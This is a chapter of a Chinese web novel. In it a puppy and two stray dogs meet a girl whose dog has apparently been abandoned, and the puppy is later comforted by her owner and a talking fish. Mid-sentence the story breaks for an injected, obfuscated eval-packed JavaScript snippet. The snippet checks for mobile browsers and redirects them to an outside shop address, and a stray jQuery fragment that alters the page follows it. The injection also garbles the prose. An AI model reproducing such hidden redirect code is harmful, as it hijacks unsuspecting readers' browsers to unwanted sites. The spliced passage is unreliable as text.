夏焰的爪子踩到一张涂满胶水的纸,胶水还没干,不知道是贴在哪里被吹下来的。
她抬起那只爪子奋力甩甩甩,想把纸甩掉,结果在她的爪子上牢牢粘紧。
“粘墙粘不牢,粘我倒是粘的紧!”
她用左边的爪子踩住纸,右爪子奋力一拔,纸又黏到她的左边。
大毛指挥二毛踩住纸,它夹着夏焰像拔萝卜一样往外拔,把她的身体拉长,像长棍面包。
“拔萝卜,拔萝卜,嘿咻嘿咻拔萝卜。”
“老太婆快快来,快来帮我们,不对,哪里来的歌声。”夏焰跟着唱了一句才意识到不对劲。
大毛二毛同样感到意外,三只一起转头,一个穿着红裙子的小女孩出现在楼梯拐角。
“拔萝卜,拔萝卜,嘿咻嘿咻拔萝卜。”她边笑边跳,鞋跟在地上嗒嗒作响,她注视着它们继续唱歌。
“我来帮你们一起拔萝卜。”
楼道的灯光一闪一闪,只有墙角的应急灯在发出绿光,看她伸出两只手准备向她们走来,三只不谋而合决定拔腿就跑。
二毛两只爪子都黏在纸上,只能用后脚往下蹦,大毛还扯着夏焰的上半身,她们保持这个姿势,往楼下跑。
小女孩穿着的小皮鞋踩地声音在楼道里啪啪作响,像菜刀剁肉,越来越快。
夏焰被扯着身体,欲哭无泪,其他两只都在注意看着脚下的楼梯以防踩空摔个狗啃屎,只有她抬起头看的一清二楚,小女孩跑的越来越快,笑的声音越来越大。
现实版死神来了。
在她们抱头鼠窜的时候,纸突然被踩裂开了,三只一下子失去了协调力,摔倒一团,滚在楼梯中间的平台上。
“下辈子我不再吃胡萝卜。”
不知道是谁发出一声叹息。
小女孩在阴暗的楼道里抓住她们。
小小的身体一把抱住她们三个。
咦,是热的。
夏焰的肚皮隔着衣服贴在女孩的肚子上。
“小狗狗!妈妈!好——多的小狗狗。”
“好家伙,当时站住不动让她摸两下算了,痛死我了。”夏焰跺跺脚,摸摸自己的屁股。
低头一看,爪子上就只剩下一张狗头相,她轻轻用嘴撕下来拍到地上。
一只白色的比熊,吐着舌头傻乐着面对镜头,还印的是彩照,咋一看跟没上色一样。
小女孩也低头看着,她惊讶地指着狗头叫出声来:“这是我们家的小狗!”
“它走丢了!妈妈说它自己会回来的,可是已经过了一个星期了,还是没有回来,我就求求妈妈给它贴一个照片如果有人看到它就可以打电话给我们,带它回家。”
小女孩看着年纪不大就五六岁的样子,却口齿清晰,很有逻辑。
“宝宝!你在哪?”
上面传来呼喊声,女孩喊着妈妈要她下来。
三只在她的怀里一动不动,直到她妈妈把她抱起来,她们才扭扭脖子抻抻腿,活动一下筋骨。
“小慧,这又是哪里来的小狗?都说了你对狗毛过敏,不要靠近小狗。”
“那豆豆刚来家里的时候我都不会过敏呢,为什么现在会过敏呢?”
妈妈抱着小慧往楼上走。
“因为你长大了,体质也会改变呢,我们回去洗洗澡吃点抗过敏药好不好。”
留下三只面面相觑,谁也不肯先开口。
“这个不会是?嗯?”
夏焰看向大毛,也不挑明了说。
“他们家之前把它照顾得很好。”
“那她不是说之前不会过敏吗?”
“你们到底在说啥?能不能直接点?有啥好藏着掖着的。”二毛碎纸堆在一起,看看大毛又看看夏焰。
最后把目光锁定在寻狗启示四个大字上。
“它被丢了。”
二毛轻飘飘的一句话,显得云淡风轻,毫不在意。
“走吧。说不定过两天就会成为我们中的一员了。”它说着,自顾自走下楼梯。
然后停步望向大毛。
大毛轻声叹气,看着夏焰说:“回家吧,你的家人还在等你,时间久了他会着急的。”
说完也走下阶梯,站到比二毛高一阶的台阶处,拍了两下它的脑袋。大毛比二毛的体型大一圈,甚至可以把它遮住,此刻成为它真正的精神统领,默默安抚它的情绪。
夏焰看它们走远,也从原路返回。
等她从大门缝隙里钻回去的时候林砚之还在书房里工作。
她蹭了一身灰,脚底也黏黏的,跳到鱼缸边上,伸手捞水洗脸。
“你别把脏东西洗进来了,我有洁癖的。”
“你看你拉的都堆起来的,还说有洁癖。”她啪啪拍着水面,让尼莫离远一点。
“那还不是怪他,根本不把我放在心上,有了你就忘了兄弟,那天我差点把粑粑当鱼粮嚼了。诶对了你给我加点吃的。”
“我走之前你才吃过。”夏焰认真梳理着自己的毛发。
“你去哪啦?”
“楼下那家的小狗丢了。我们怀疑是被她家人送走了。”
“说不定是随便找地方丢了呢,我告诉你我可见过太多了,只生不养的多的是,人对自己的孩子都是这样,更别说对宠物了,本来就是图一乐结果发现还要付出时间和精力去照顾另一个小生命,就把它们随意丢弃。”
夏焰发现尼莫时常会讲出一些不符合它大脑容积的哲学思考。
“大毛二毛都是这样吗?”
“二毛是,它被原来的主人养到六个月的时候丢弃在马路边上,那是个冬天,要不是大毛姐它就死定了。但是大毛姐不是,它说它第一次睁开眼,就只有它自己。”
尼莫围着鱼缸散步一圈,凑近夏焰以为它想起了过去的悲伤往事,安慰道:“没事的,妹儿,都过去了,现在有我,还有咱哥,我们是幸福的一家三口。”
说完开始跟着电视广告唱起了《吉祥三宝》。
“宝贝,唉什么酸酸甜甜我们都爱~”
“我也是被人丢掉的?我是说我这个小狗。”
麦霸尼莫放弃继续一展歌喉的机会,不解地看着她:“你又在说什么胡话啦,我们不是听大毛姐说了吗,它从河边把你捡回来的啊,还去了你家的大房子,没有人在找你。”
夏焰愣神,恍惚间不清楚它在说自己还是这只小狗。
“没事的哎呦,不哭不哭,到我的怀里来抱抱。”尼莫张开身体贴在鱼缸壁上。
夏焰看着它这幅好笑的样子一点也笑不出来,但还是张开双手希望得到一个拥抱。
温暖的,宽阔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16859060|191705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的,还有心脏正在砰砰跳动的。
林砚之把她抱进怀里,低头看她神情低落的样子若有所思。
“怎么了?偷偷出去玩被欺负了?怎么灰头土脸的。”他扒拉她耳朵上的细碎绒毛,轻轻抚开上面的灰尘。
夏焰抬头看着他不知道说什么好,索性头一低继续埋在他的怀里。
林砚之把门锁好,打了温水来给她擦拭身体。
“你看水都变成黑色了,到底去哪里蹭的一身灰?”林砚之皱着眉毛想要狠狠教训她,看见她那副可怜样又舍不得,只好夸她是最爱干净的小狗。
这招可能对小□□用,可是夏焰不是小狗,她还是一副死气沉沉的样子。
林砚之只好拿出手机拍了一张她的照片发在群里问大家。
林:谁欺负我家孩子了?回来连饭都不吃了。
原本一潭死水的群里突然热闹起来,让林砚之多拍点小狗,大家要看看不吃饭的小狗啥样。
林:你们家里没有狗吗?谁把我家孩子欺负了?
大家一点都不在意他在说什么还是一个劲儿的要看狗。
花开富贵发来私聊:小宝怎么不吃饭?
林砚之录视频给奶奶看。
早上还活蹦乱跳的小狗现在坐在沙发上揣着手一言不发,仰头看着天花板思考人生。
花开富贵:是不是累着了?
慧慧妈妈发来好友申请:叔叔我今天看到你的小狗了。
他连忙同意申请。
慧慧妈妈发来一条长长的语音,林砚之点开,手机里传来稚嫩的声音:“叔叔我们家的豆豆丢了,今天你们家的小狗和大毛二毛在我们家门口帮我们找豆豆呢。”
她常常停顿,时不时咳嗽两声,最后说他的小狗实在是太可爱了,可不可以让她和它一起玩。
“妈妈说不能和大毛二毛一起玩,它们是流浪狗,身上有病毒,你们家的小狗没有病毒,可是,它也会和大毛二毛一起玩呀,所以是妈妈错了,对吧妈妈。”
林砚之觉得眼睛泛酸,把快要化成一滩悲伤的泥巴的夏焰铲起来。
“小宝,没想到你这么感性。”林砚之鼻子一酸感觉要把夏焰没流出来的泪替她哭出来。
置身事外,头脑游离天外的夏焰搞不懂林砚之到底在搞什么飞机,她终于把思绪的飞机开回正轨,看向林砚之并赠他一个标准的上勾拳。
林砚之摸着下巴满意地离开了,他要去制作一家三口的午餐。
心情很好,路过鱼缸正准备投食,却嫌弃道:“你怎么不爱干净?粑粑都堆起来了。”
“你还好意思说?我都没骂你。”
他刚刚启动吸便器,一粒粒鱼便排队上天,尼莫以为林砚之在跟它抢食,连忙争着抢着塞进嘴里。
进嘴的那一刻大叫:“呕,粑粑!”
夏焰笑得要从桌子上翻下去,林砚之赶紧接住她,也笑的不行。
“好好好,我今晚就离家出走。”尼莫大声哭诉着。
夏焰趴在林砚之肩头,叫尼莫想开点。
吃完午饭夏焰昏昏欲睡,情绪不佳,体力消耗也太大,累的连晚饭也不想吃,一动不动,只想一觉睡到明天早上。
她睡得正香,被林砚之摇醒,他凑近她的耳朵小声说:“我们出去遛弯吧,让你开心一下。”